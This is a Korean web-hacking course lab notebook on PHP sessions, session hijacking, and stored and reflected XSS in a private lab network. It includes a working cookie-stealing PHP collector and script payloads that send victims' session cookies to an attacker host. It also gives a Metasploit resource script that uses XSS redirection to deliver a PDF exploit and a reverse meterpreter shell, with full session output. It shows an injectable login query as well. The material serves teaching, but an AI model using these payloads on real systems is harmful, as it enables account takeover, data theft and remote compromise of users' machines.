애플리케이션 보안 운영 - 2 (교육 88 ~ 89일차)

SW·2023년 4월 6일
0

실습> 세션 이해하기

1. 쿠키 삭제
EditThisCookie 에서 모든 쿠키를 삭제한다.

2. 세션 파일 삭제
[root@webhacking html]# cd /var/lib/php/session/
[root@webhacking session]# ls -ld
drwxrwx---. 2 root apache 123  4월  3 10:16 .
[root@webhacking session]# rm -f *
[root@webhacking session]# cd /var/www/html/

3. PHP 파일 생성
[root@webhacking html]# mkdir SESSION
[root@webhacking html]# cd SESSION/
[root@webhacking SESSION]# cat >> index.html << EOF
<?
session_start();
?>
EOF

4. Proxy On
Burp 에서 Intercept On으로 켜주고 브라우저에서 접속한다.

5. 웹사이트 접속
http://200.200.200.3/SESSION/

6. Header 확인
브라우저에서 접속한 HTTP 메세지 헤더를 확인한다.
처음 접속이므로 PHPSESSION 이 없다.
GET /SESSION/ HTTP/1.1
Host: 200.200.200.3
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

Forward 버튼을 클릭해서 서버로 data를 보내고 돌아온 HTTP 요청 데이터를 확인하면 Set-Cookie 를 헤더에서 
확인할 수 있다.
Set-Cookie: PHPSESSID=t5fj23qe7gsmom3uhruag2be42; path=/


HTTP/1.1 200 OK
Date: Mon, 03 Apr 2023 01:34:08 GMT
Server: Apache
Set-Cookie: PHPSESSID=t5fj23qe7gsmom3uhruag2be42; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

Forward 버튼을 클릭해서 클라이언트로 data를 보내고 클라이언트가 HTTP 응답 데이터를 받고
Set-Cookie: PHPSESSID=t5fj23qe7gsmom3uhruag2be42; path=/ 에 의해서 쿠키를 생성한다.

이걸 확인하기 위해서는 EditThisCookie 에서 확인이 가능하다.


재접속
브라우저에서 다시 http://200.200.200.3/SESSION/ 으로 재접속한다.
처음 접속할 때는 PHPSESSION 이 헤더에 없었지만 쿠키로 저장한 후 두 번째 부터는 
PHPSESSION 이 헤더에 존재한다. 

Cookie: PHPSESSID=t5fj23qe7gsmom3uhruag2be42

GET /SESSION/ HTTP/1.1
Host: 200.200.200.3
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=t5fj23qe7gsmom3uhruag2be42     <-- 
Connection: close


Forward 버튼을 클릭해서 서버로 data를 보내고 돌아온 HTTP 요청 데이터를 확인하면 Set-Cookie 를 헤더에서 
찾아볼 수 없다.

HTTP/1.1 200 OK
Date: Mon, 03 Apr 2023 01:42:18 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

실습> 웹 세션 Hijacking

HTTP 프로토콜은 SSH와 다르게 연결을 유지하지 않는 비연결성 프로토콜이다.
그러므로 웹 애플리케이션에서 사용자가 로그인을 유지하기 위해서는 세션/쿠키를 이용해서 연결을 유지하는 방법을 사용한다.
웹 세션 Hijacking이란 현재 연결중인 세션ID를 탈취해서 공격자가 피해자인 것처럼 속이는 공격기법이다.

브라우저 2개
일반 모드, 시크릿 모드 2개의 브라우저를 열고 실습을 진행한다.


1. DB 설정
# mysql

CREATE DATABASE newproject;
USE newproject
CREATE TABLE member (
    no       int         NOT NULL AUTO_INCREMENT PRIMARY KEY COMMENT '회원번호',
    userid   varchar(20) NOT NULL UNIQUE COMMENT '사용자',
    userpw   varchar(41) NOT NULL COMMENT '비밀번호',
    username varchar(20) NOT NULL COMMENT '회원이름',
    regdate  datetime    NOT NULL COMMENT '가입날짜',
    phone    varchar(20) COMMENT '연락처', 
    email    varchar(50) COMMENT '이메일'
);

INSERT INTO member VALUES ('', 'admin',  password('111111'), '관리자', now(), '010-1111-2222', 'admin@linuxmaster.net');
INSERT INTO member VALUES ('', 'mrhong', password('222222'), '홍길동', now(), '010-2222-3333', 'mrhong@linuxmaster.net');

SELECT * FROM member;

MariaDB [newproject]> quit

[root@webhacking LOGINTEST]# vi ~/.my.cnf
[client]
host = localhost
user = root
password = P@ssw0rd


2. 로그인 설정 확인
DB 내용, login.php, loginok.php, logout.php 파일이 잘 설정되어 있는지 확인한다.

[root@webhacking ~]# cd /var/www/html/LOGINTEST
[root@webhacking LOGINTEST]# mysql -e "SELECT * FROM newproject.member\G"
*************************** 1. row ***************************
      no: 1
  userid: admin
  userpw: *FD571203974BA9AFE270FE62151AE967ECA5E0AA
username: 관리자
 regdate: 2022-10-24 12:28:51
   phone: 010-1111-2222
   email: admin@linuxmaster.net
*************************** 2. row ***************************
      no: 2
  userid: mrhong
  userpw: *A0C1808B1A47CECD5C161FEE647F5427F4EB6F98
username: 홍길동
 regdate: 2022-10-24 12:28:51
   phone: 010-2222-3333
   email: mrhong@linuxmaster.net

[root@webhacking LOGINTEST]# vi login.php 
<?
/*
 * 파일명 : login.php
 * 프로그램 설명 : 로그인 메인 프로그램
 * 작성자 : 리눅스마스터넷
 */

session_start(); // 세션 시작
?>
<html>
<head>
  <title> :::로그인 테스트::: </title>
  <meta charset="utf-8"/>
</head>
<body>

<?
if(isset($_SESSION['userid']))
{
?>

<table align=center border=1 cellpadding=5 cellspacing=0>
<tr align=center>
  <td align=center> <?=$_SESSION['username'] ?> 님 환영합니다. </td>
</tr>
<tr align=center>
  <td align=center> <a href=logout.php> 로그아웃 </a> </td>
</tr>
</table>

<?
} else {

?>
<form method=post action=loginok.php>
<table align=center border=1 cellpadding=5 cellspacing=0>
<tr align=center>
  <td> 아이디 </td> <td> <input type=text name=userid> </td>
<tr>
<tr align=center>
  <td> 비밀번호 </td> <td> <input type=password name=userpw> </td>
<tr>
<tr align=center>
  <td align=center colspan=2> <input type=submit value=로그인> </td>
<tr>
</table>
</form>

<?
}
?>

</body>
</html>

[root@webhacking LOGINTEST]# vi loginok.php 
<?
/*
 * 파일명 : loginok.php
 * 프로그램 설명 : DB에 사용자를 확인해서 로그인하는 파일
 * 작성자 : 리눅스마스터넷
 */
session_start();  // 세션 시작
$DBHOST="localhost";
$DBUSER="root";
$DBPASS="P@ssw0rd";
$DBNAME = "newproject";
$TBNAME = "member";

$connect = mysqli_connect($DBHOST, $DBUSER, $DBPASS, $DBNAME) or die("DBMS에 접속 실패");
$query = "SELECT * FROM $TBNAME WHERE userid = '$_POST[userid]' and userpw = password('$_POST[userpw]') ";
$result = mysqli_query($connect, $query);
$num = mysqli_num_rows($result);

if($num)
{  // 세션 생성
    $row = mysqli_fetch_array($result); // $row 변수에 연관 배열로 저장한다.
    $_SESSION['userid'] = $row['userid'];  // 세션변수 userid 를 생성한다.
    $_SESSION['username'] = $row['username']; // 세션변수 username 을 생성한다.
    header("Location: login.php");

} else { // userid / userpw 가 틀렸다면 에러메세지를 출력하고 이제 페이지로 돌려보낸다.
   echo " <script language=JavaScript>
          <!--
              alert('아이디/비번을 확인해주세요.');
              history.go(-1);
          //-->
          </script>
        ";
}

?>

[root@webhacking LOGINTEST]# vi logout.php 
<?
/*
 * 파일명 : logout.php
 * 프로그램 설명 : 로그아웃 프로그램
 * 작성자 : 리눅스마스터넷
 */
session_start();    // 세션 시작
session_destroy();  // 세션 삭제

header("Location: login.php");
?>

3. 로그인 
웹사이트에 접속해서 아래 사용자로 로그인을 시도해서 잘 로그인이 되는지 확인한다.

사용자     비밀번호
admin      111111 
mrhong     222222 

http://200.200.200.3/LOGINTEST/login.php

4. 세션 파일 정리
세션 디렉터리로 이동해서 세션 파일들을 모두 삭제한다.
[root@webhacking html]# rm -f /var/lib/php/session/*
[root@webhacking html]# ls /var/lib/php/session/

5. 관리자 로그인
크롬의 일반 모드에서 관리자(admin/111111)로 로그인한다.
http://200.200.200.3/LOGINTEST/login.php

관리자 님 환영합니다.
로그아웃

6. 일반 사용자 로그인
크롬의 시크릿 모드에서 일반 사용자(mrhong/222222)로 로그인한다.
http://200.200.200.3/LOGINTEST/login.php

홍길동 님 환영합니다.
로그아웃

7. 세션 파일 확인
로그인한 후 세션파일과 내용을 확인한다.
[root@webhacking html]# ls -l /var/lib/php/session/ 
합계 8
-rw-------. 1 apache apache 44  4월  3 11:09 sess_7np9c61mlj8cruaeg6tgce2o40  <-- 관리자의 세션 파일
-rw-------. 1 apache apache 45  4월  3 11:10 sess_8dgqialg0l2s05vtmll4eidc37  <-- 일반 사용자의 세션 파일

[root@webhacking LOGINTEST]# cat /var/lib/php/session/sess_7np9c61mlj8cruaeg6tgce2o40                userid|s:5:"admin";username|s:9:"관리자";

[root@webhacking LOGINTEST]# cat /var/lib/php/session/sess_8dgqialg0l2s05vtmll4eidc37
userid|s:6:"mrhong";username|s:9:"홍길동";

8. 공격 시도
arp spoofing, arp redirect 공격을 이용해서 관리자의 패킷을 sniffing해서 세션ID를 훔쳤다라고 가정한다.
여기서는 공격은 예전에 많이 했기 때문에 생략한다.

관리자의 세션 ID: 7np9c61mlj8cruaeg6tgce2o40 
일반 사용자의 세션 ID: 8dgqialg0l2s05vtmll4eidc37 

9. 세션 값 변경
공격자 홍길동 사용자는 탈취한 관리자의 세션ID를 변경한다.
관리자의 세션 ID값을 탈취하면 3가지 방법으로 일반 사용자가 관리자로 변경할 수 있다.
첫 번째 방법: 버프에서 일시적으로 변경한다.
두 번째 방법: 버프에서 영구적으로 변경한다.
세 번째 방법: EditThisCookie 에서 영구적으로 변경한다.

첫 번째 방법: burp에서 변경한다.
Intercept is on 으로 설정 > 브라우저에서 새로고침 > request 헤더에서 세션ID를 관리자의 세션 ID로 변경 >
Intercept is off 으로 설정 > 관리자로 변경한다.

두 번째 방법: burp에서 변경한다.
[Proxy] > [Option 탭] > [하위 "Match and Replace" 항목] >  [Add 클릭] > Type(Request header)
Match(Cookie:공백*.*), Replace(Cookie:공백[피해자 Session Cookie]), Regex match 체크

Type : Request header
Match: Cookie: *.*
Replace: Cookie: PHPSESSID=7np9c61mlj8cruaeg6tgce2o40   <-- 관리자로 로그인한 세션파일의 랜덤 문자열을 적는다.
Comment: Session Hijacking

Intercept is off로 설정하고 브라우저에서 관리자로 변경되었는지 확인한다.


Burp에서 Match and Replace에서  번째 방법에서 설정한 Request Header를 체크를 해제한다.
Intercept is off로 설정하고 브라우저에서 새로고침을 하면 홍길동으로 돌아왔는지 확인한다.

 번째 방법: EditThisCookie 에서 영구적으로 변경한다.
200.200.200.3 | PHPSESSID
8dgqialg0l2s05vtmll4eidc37 --> 7np9c61mlj8cruaeg6tgce2o40 변경

Intercept is off로 설정하고 브라우저에서 새로고침을 하면 관리자로 변경되었는지 확인한다.

실습> Stored XSS

이 실습은 실제 공격을 수행하기 위한 기초 실습이다.

XSS란 현재 연결중인 세션ID와 연결된 클라이언트의 쿠기값을 탈취하는 공격기법이다.
이를 이용하는 공격자가 피해자인 것처럼 속일 수도 있고 악성코드가 있는 사이트로 유도할 수도 있다. 

stored XSS : 저장된 XSS (DB에 저장이 되는 부분에 XSS 코드를 저장)

크롬 일반 모드: 관리자로 로그인
크롬 시크릿 모드: 공격자

[root@webhacking html]# mysql -e "SELECT u_id,u_pass,u_name FROM WebTest.member"
+--------+----------+-----------+
| u_id   | u_pass   | u_name    |
+--------+----------+-----------+
| tester | tester   | 테스터    |
| admin  | P@ssw0rd | 관리자    |
+--------+----------+-----------+

1. 관리자 로그인
크롬 일반 모드에서 관리자로 로그인한다.
admin/P@ssw0rd

2. 공격자 로그인
크롬 시크릿 모드에서 공격자로 로그인한다.
tester/111111

3. 세션 파일 확인
[root@webhacking html]# ll /var/lib/php/session/
합계 8
-rw-------. 1 apache apache 83 10월 26 14:52 sess_76535fu105qacfvjfhfutcnlg4  <-- 공격자 (tester)
-rw-------. 1 apache apache 74 10월 26 14:52 sess_cgrefsmii14823n2tdoqn9aq97  <-- 관리자 (admin)

[root@webhacking html]# cat /var/lib/php/session/sess_76535fu105qacfvjfhfutcnlg4 
user_id|s:6:"tester";nickname|s:16:"테스트계정1";ip_addr|s:13:"200.200.200.1";
[root@webhacking html]# cat /var/lib/php/session/sess_cgrefsmii14823n2tdoqn9aq97 
user_id|s:5:"admin";nickname|s:9:"관리자";ip_addr|s:13:"200.200.200.1";

4. 공격 게시물 작성
Stored XSS 을 하기 위해서 테스트 한다.
[게시판] > [글쓰기] 

이 름: 테스터
비밀번호: 111111
이메일:
제 목: 관리자님 안녕하세요.
HTML적용: 적용
내 용:
관리자님 안녕하세요.

<script>alert("XSS")</script>

공격자가 게시글을 저장한 후 확인하면 JavaScript의 alert 창이 뜨면 XSS 의 가능성이 있다고 보면 된다. 
(100% 는 아니다. 없을 수도 있다.)
그리고 글을 바로 삭제한다. (이 게시판을 글을 수정한 부분이 없기 때문이다.)

공격자가 게시판에 글을 저장한다.
이 름: 테스터
비밀번호: 111111
이메일:
제 목: 질문이 있습니다.
HTML적용: 적용
내 용:
관리자님 안녕하세요.
웹해킹에 대해서 궁금한데 뭘 배워야 하나요?
<script>alert(document.cookie)</script>


document: 현재 문서
cookie: 쿠키값이 아래처럼 저장되어 있다라고 생각하면 된다.
document.cookie = "PHPSESSID=랜덤문자열";


5. 게시물 확인
관리자가 공격자가 저장한 게시물을 확인하면 JavaScript의 alert 창이 뜨면서 
아래처럼 자신의 세션ID가 출력된다

PHPSESSID=랜덤문자열

EditThisCookie 에 저장된 쿠키값과 alert()로 출력된 쿠키값을 비교한다.

6. DB에서 데이터 확인

[root@webhacking html]# cat ~/.my.cnf 
[client]
host = localhost     
user = root         
password = P@ssw0rd

[root@webhacking html]# mysql -e "SELECT * FROM WebTest.board ORDER BY strNumber DESC  LIMIT 1\G"
*************************** 1. row ***************************
  strNumber: 3
    strName: 테스터
strPassword: 111111
   strEmail: 
 strSubject: 질문이 있습니다.
 strContent: 관리자님 안녕하세요.
웹해킹에 대해서 궁금한데 뭘 배워야 하나요?
<script>alert(document.cookie)</script>    <-- Stored 
    htmlTag: T
  viewCount: 2
   filename: NULL
   filesize: NULL
  writeDate: 2022-10-26 15:01:02

실습> XSS 이용한 쿠키값 탈취

Victim WEB Server: 200.200.200.101
Attacker: 200.200.200.3

크로스 사이트 스크립팅

1. Attacker가 게시판에 글을 남긴다.
2. Victim이 관리자로 로그인해서 게시글을 확인한다.
3. 확인과정에서 XSS 이 실행되서 Attacker 에게 자신의 쿠키를 전송한다.
4. Attacker 가 탈취한 쿠키를 가지고 관리자 권한으로 세션을 훔쳐서 로그인한다.

Host OS에서 설정
- 크롬의 일반 모드 : 관리자
- 크롬의 시크릿 모드 : 공격자

Kali Linux : 공격자

1. 공격 준비
[root@kali ~]# systemctl restart apache2
[root@kali ~]# cd /var/www/html
[root@kali html]# vi xssAttack.php
<?php
/*
 * 파일명: xssAttack.php
 * 프로그램 설명: 모든 사용자(관리자)의 쿠키값을 저장하는 PHP 공격 코드
 * 작성자: 리눅스마스터넷
 */

// print_r($_GET);
$file = "xssAttack.txt"; // 쿠키값이 저장될 파일명
$fp = fopen($file, "a");  // 파일을 추가모드로 오픈한다.
$today = time(); // 현재 서버의 시간을 timestamp 값으로 가져온다.
$today_time = date('Y년m월d일H시 i분 s초', $today); // 날짜를 변경한다.

// 저장형식
// 날짜시간: URL COOKIE 엔터
fputs($fp, $today_time . ": ");  // 날짜와 시간을 저장한다.
fputs($fp, $_GET['u'] . " ");    // URL 값을 저장한다.
fputs($fp, $_GET['c'] . "\n");   // COOKIE 값을 저장한다.

fclose($fp);  // 파일 닫기
?>
<script>
self.close();  // 창 닫기
</script>

[root@kali html]# touch xssAttack.txt
[root@kali html]# chown www-data: xssAttack.txt 
[root@kali html]# ll xssAttack.txt 
-rw-r--r-- 1 www-data www-data 0 Oct 26 02:11 xssAttack.txt

2. 로그인 
관리자와 공격자가 브라우저로 로그인한다.


3. 공격 게시물 작성
Attacker가 기존 게시물을 삭제하고 게시판에 글을 남길 때 공격코드도 함께 저장한다.
이 름: 공격자	
비밀번호: 111111
이메일: 	
제 목: XSS TEST
HTML적용:적용 
내 용:
XSS Test
<script>var c1=document.cookie;var u1=location.href;var url="http://200.200.200.3/xssAttack.php?c="+c1+"&u="+u1;open(url, "", "width=0,height=0;"); </script>

4. 파일 모니터링
[root@kali html]# tail -f xssAttack.txt 

5. 게시글 확인
로그인된 관리자가 공격자가 저장한 게시글을 확인한다. (관리자는 반드시 로그인을 하고 글을 본다.)
글을 보면 팝업창이 차단되므로 팝업창을 허용하고 다시 글을 본다.
글을 보는 순간 공격자쪽으로 URL주소와 세션ID가 전송된다.
공격자는 URL주소와 세션ID를 받아서 파일로 저장한다.

<script>
var c1="PHPSESSID=88b2hd49g864rre2cec5kjsuk4";
var u1="http://200.200.200.101/board/board_view.php?num=3";
var url="http://200.200.200.3/xssAttack.php?c=PHPSESSID=88b2hd49g864rre2cec5kjsuk4&u=http://200.200.200.101/board/board_view.php?num=3";
open(url, "", "width=0,height=0;"); 
</script>

실제 공격자에게 접속한 URL
http://200.200.200.3/xssAttack.php?c=PHPSESSID=88b2hd49g864rre2cec5kjsuk4&u=http://200.200.200.101/board/board_view.php?num=3

[root@kali html]# tail -f xssAttack.txt 
2023년04월03일03시 50분 04초: http://200.200.200.101/board/board_view.php?num=3 PHPSESSID=88b2hd49g864rre2cec5kjsuk4

6. 권한 상승
세션 Hijacking을 하는 두 가지 중에서 하나를 선택해서 사용한다.
o EditThisCookie 에서 쿠키값 변경하기
- 일반 모드에서 쿠키값을 복사해서 시크릿 모드의 쿠키값으로 덮어쓴다.
수정 전 시크릿 모드의 공격자 쿠키값: 76535fu105qacfvjfhfutcnlg4 
수정 후 시크릿 모드의 공격자 쿠키값: cgrefsmii14823n2tdoqn9aq97


o burp 에서 변경하기
Proxy → Option 탭 → 하위 "Match and Replace" 항목 → 
Add 클릭 → 
Type:Request header

Match: Cookie: *.*
Replace: Cookie: [피해자 Session Cookie]  <-- Cookie: PHPSESSID=cgrefsmii14823n2tdoqn9aq97
Comment: 관리자 세션 탈취
Regex match: 체크

7. 브라우저 새로 고침
쿠키값을 변경한 후 새로고침을 하면 관리자로 변경이 된다.

실습> 이미지 태그를 이용한 xss

1. 소스코드 작성
[root@webhacking ~]# cd /var/www/html
[root@webhacking html]# vi xss.html

<html>
<head>
 <meta charset="utf8">
 <title> xss test </title>
</head>

<body>
<img src="xss.jpg" onError="alert('xss')"> xss
</body>
</html>

2. 접속
http://200.200.200.101/xss.html

alert() 함수가 실행된다.

3. 공격 게시물 작성
Attacker가 기존 게시물을 삭제하고 게시판에 글을 남길 때 공격코드도 함께 저장한다.
이 름: 공격자	
비밀번호: 111111
이메일: 	
제 목: XSS TEST 2
HTML적용:적용 
내 용:
XSS Test 2

<img src="xss.jpg" onError=alert(document.cookie)>

실습> 악성 URL로 리다이렉션하는 Stored XSS

Victim Windows XP: 200.200.200.4

1. Victim Windowx XP 부팅

C:\>ipconfig

Windows IP Configuration


Ethernet adapter 로컬 영역 연결:

        Connection-specific DNS Suffix  . :
        IP Address. . . . . . . . . . . . : 200.200.200.4
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 200.200.200.2

C:\>ping 200.200.200.3

Pinging 200.200.200.3 with 32 bytes of data:

Reply from 200.200.200.3: bytes=32 time<1ms TTL=64
Reply from 200.200.200.3: bytes=32 time<1ms TTL=64
Reply from 200.200.200.3: bytes=32 time<1ms TTL=64
Reply from 200.200.200.3: bytes=32 time<1ms TTL=64

Ping statistics for 200.200.200.3:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 0ms, Average = 0ms

2. 공격 코드 실행
[root@kali ~]# cd /var/www/html/
[root@kali html]# vi adobe_cooltype_sing.rc
use exploit/windows/browser/adobe_cooltype_sing
set PAYLOAD windows/meterpreter/reverse_tcp
set URIPATH xss.html
set LHOST 200.200.200.3
set SRVPORT 8000
run
[root@kali html]# msfconsole -r adobe_cooltype_sing.rc

3. 공격 게시물 작성
여기서는 두 번째 공격 형태인 악성 웹페이지에 pdf 취약점을 공격하는 코드를 넣어놓고 XSS에 의해서 
Victim xp 가 접속해서 악성코드에 감염될 수 있도록 한다.

이 름: 공격자	
비밀번호: 1
이메일: 	
제 목: XSS PDF 취약점 리다이렉션
HTML적용:적용 
내 용:
XSS Test

<script>location.href="http://200.200.200.3:8000/xss.html";</script>

4. 공격 게시물 확인
Victim이 공격 게시물을 확인하면 PDF 취약점을 공격하는 공격 스크립트가 실행되면서 공격자에게 리버스 커넥션으로 
연결되서 meterpreter shell이 떠진다.

[*] Started reverse TCP handler on 200.200.200.3:4444
[*] Using URL: http://200.200.200.3:8000/xss.html
[*] Server started.
msf6 exploit(windows/browser/adobe_cooltype_sing) > [*] 200.200.200.4    adobe_cooltype_sing - Request from browser: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
[*] 200.200.200.4    adobe_cooltype_sing - Sending crafted PDF
[*] 200.200.200.4    adobe_cooltype_sing - Request from browser: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
[*] 200.200.200.4    adobe_cooltype_sing - Sending crafted PDF
[*] Sending stage (175686 bytes) to 200.200.200.4
[*] Session ID 1 (200.200.200.3:4444 -> 200.200.200.4:1043) processing InitialAutoRunScript 'post/windows/manage/priv_migrate'
[*] Current session process is iexplore.exe (244) as: VICTIM_WINXP\ksw
[*] Session is Admin but not System.
[*] Will attempt to migrate to specified System level process.
[*] Trying services.exe (700)

msf6 exploit(windows/browser/adobe_cooltype_sing) > sessions

Active sessions
===============

  Id  Name  Type                  Information            Connection
  --  ----  ----                  -----------            ----------
  1         meterpreter x86/wind  VICTIM_WINXP\ksw @ VI  200.200.200.3:4444 ->
            ows                   CTIM_WINXP              200.200.200.4:1043 (
                                                         200.200.200.4)

msf6 exploit(windows/browser/adobe_cooltype_sing) > sessions 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : VICTIM_WINXP
OS              : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture    : x86
System Language : ko_KR
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows

meterpreter > shell
Process 3456 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

실습> 취약한 PDF 삭제

만약 Victim XP에서 취약한 프로그램인 pdf 버전을 삭제하면 어떻게 될까?

1. pdf 삭제
cmd -> appwiz.cpl -> pdf 삭제

2. 공격 코드 실행
[root@kali ~]# cd /var/www/html/
[root@kali html]# msfconsole -r adobe_cooltype_sing.rc

3. 공격 게시물 작성
여기서는 두 번째 공격 형태인 악성 웹페이지에 pdf 취약점을 공격하는 코드를 넣어놓고 XSS에 의해서 
Victim xp 가 접속해서 악성코드에 감염될 수 있도록 한다.

이 름: 공격자	
비밀번호: 1
이메일: 	
제 목: XSS PDF 취약점 리다이렉션
HTML적용:적용 
내 용:
XSS Test

<script>location.href="http://200.200.200.3:8000/xss.html";</script>

4. 공격 게시물 확인
Victim이 공격 게시물을 확인해도 취약한 버전의 PDF 프로그램이 없으므로 pdf 공격은 여기서는 통하지 않는다.

[*] Started reverse TCP handler on 200.200.200.3:4444
[*] Using URL: http://200.200.200.3:8000/xss.html
[*] Server started.
msf6 exploit(windows/browser/adobe_cooltype_sing) > [*] 200.200.200.4    adobe_cooltype_sing - Request from browser: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
[*] 200.200.200.4    adobe_cooltype_sing - Sending crafted PDF
[*] 200.200.200.4    adobe_cooltype_sing - Request from browser: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
[*] 200.200.200.4    adobe_cooltype_sing - Sending crafted PDF
  :
  :(생략)

Victim Winxp 에서 나오는 브라우저 내용
아래처럼 나오고 더 이상 진행되지 않는다.

%PDF-1.5 %뿅? 1 0 obj << /P#61g#65s 2 0 R /#54#79#70#65 /#43#61t#61log /Op#65#6e#41c#74#69#6f#6e 11 0 R /A#63#72#6fFo#72#6d 13 0 R >> endobj 2 0 obj << /M#65d#69a#42#6fx 3 0 R /#52e#73ou#72c#65#73 4 0 R /K#69ds [5 0 R] /Cou#6e#74 1 /Type /P#61#67#65#73 >> endobj 3 0 obj [0 0 595 842] endobj 4 0 obj << /#46ont 6 0 R >> endobj 5 0 obj << /P#61#72#65#6et 2 0 R /#4de#64#69a#42ox 3 0 R /R#65#73o#75#72#63es 4 0 R /#43on#74#65nts [8 0 R] /Typ#65 /Pag#65 >> endobj 6 0 obj << /#461 7 0 R >> endobj 7 0 obj << /#54#79#70e /F#6fn#74 /#53u#62#74#79p#65 /T#72#75e#54#79pe /Na#6d#65 /F1 /#42#61#73#65Fo#6et /Ci#6e#65#6da /#57id#74h#73 [] /#46ontD#65s#63r#69#70#74#6fr 9 0 R/Enc#6fd#69ng /#4d#61#63#52om#61#6eEnc#6f#64in#67>> endobj 8 0 obj << /#4ce#6eg#74h 65 >> stream 0 g BT /F1 32 Tf 32 Tc 1 0 0 1 32 773.872 


결론: 취약점 공격 실패

실습> Reflected XSS

Reflected XSS 는 Stored XSS와 다르게 서버에 반사되서 돌아올 때 XSS 공격이 발생하는 것이다.

http://200.200.200.101/board/board_list.php?key=1&keyword=<script>alert(document.cookie)</script>

http://200.200.200.101/board/board_list.php?key=1&keyword=메세지

http://200.200.200.101/board/board_list.php?key=1&keyword=abc
http://200.200.200.101/board/board_list.php?key=1&keyword=<script>alert("xss")</script>
http://200.200.200.101/board/board_list.php?key=1&keyword=<script>location.href="https://naver.com";</script>

1. 소스코드 변경
board/board_list.php 부분에 mysql_real_escape_string() 함수를 주석처리 한다.
mysql_real_escape_string() 함수는 " 를 \" 로 변경해서 리턴하는 함수다. 
[root@webhacking html]# vi board/board_list.php

 34             //$keyword = mysql_real_escape_string($keyword);
 35             echo $keyword;

2. Reflected XSS 확인
검색에서 확인한다.
첫 번째: 공격자가 쓴 코드가 되돌아 와야 한다.
두 번째: 공격자가 쓴 코드가 담긴 URL이 생성되어야 한다.
세 번째: 스크립트가 실행되어야 한다.
http://200.200.200.101/board/board_list.php?key=1&keyword=<script>location.href="https://naver.com";</script>


3. 공격 모니터링
[root@kali html]# >  xssAttack.txt
[root@kali html]# tail -f xssAttack.txt

4. 공격 코드 삽입
공격 코드를 만들어서 실행해서 되는지 확인한다.
<script>var c1=document.cookie;var u1=location.href;var url="http://200.200.200.3/xssAttack.php?c="+c1+"&u="+u1;location.href=url;</script>

********** 아래 코드는 안된다... 확인 요망 **********

http://200.200.200.101/board/board_list.php?key=1&keyword=<script>var c1=document.cookie;var u1=location.href;var url="http://200.200.200.3/xssAttack.php?c="+c1;alert(url);</script>


http://200.200.200.101/board/board_list.php?key=1&keyword=<script>var c1=document.cookie;var u1=location.href;var url="http://200.200.200.3/xssAttack.php?c="+c1+"&u="+u1;location.href="url";</script>


********** 아래 코드는 안된다... 확인 요망 **********

실습> Reflected XSS

Victim XP가 아래 URL을 접속하면 PDF 취약점에 의해서 PC가 공격자에 장악당하게 된다.

http://200.200.200.101/board/board_list.php?key=1&keyword=<script>location.href="http://200.200.200.3:8000/xss.html"</script>

공격자는 pdf 취약점을 대기하고 있고 XP는 URL에 접근하면 된다.


[root@kali html]# msfconsole -r adobe_cooltype_sing.rc 
  :
  :(생략)

[*] 200.200.200.4    adobe_cooltype_sing - Request from browser: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
[*] 200.200.200.4    adobe_cooltype_sing - Sending crafted PDF
[*] 200.200.200.4    adobe_cooltype_sing - Request from browser: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
[*] 200.200.200.4    adobe_cooltype_sing - Sending crafted PDF
[*] Sending stage (175686 bytes) to 200.200.200.4
[*] Session ID 1 (200.200.200.3:4444 -> 200.200.200.4:1064) processing InitialAutoRunScript 'post/windows/manage/priv_migrate'
[*] Current session process is iexplore.exe (512) as: VICTIM_WINXP\ksw
[*] Session is Admin but not System.
[*] Will attempt to migrate to specified System level process.
[*] Trying services.exe (700)
[+] Successfully migrated to services.exe (700) as: NT AUTHORITY\SYSTEM
[*] Meterpreter session 1 opened (200.200.200.3:4444 -> 200.200.200.4:1064) at 2022-10-26 21:38:10 -0400

msf6 exploit(windows/browser/adobe_cooltype_sing) > 
msf6 exploit(windows/browser/adobe_cooltype_sing) > 
msf6 exploit(windows/browser/adobe_cooltype_sing) > sessions 

Active sessions
===============

  Id  Name  Type                     Information                   Connection
  --  ----  ----                     -----------                   ----------
  1         meterpreter x86/windows  VICTIM_WINXP\ksw @ VICTIM_WI  200.200.200.3:4444 -> 200.20
                                     NXP                           0.200.4:1064 (200.200.200.4)

msf6 exploit(windows/browser/adobe_cooltype_sing) > sessions 1
[*] Starting interaction with 1...

meterpreter > 
meterpreter > sysinfo
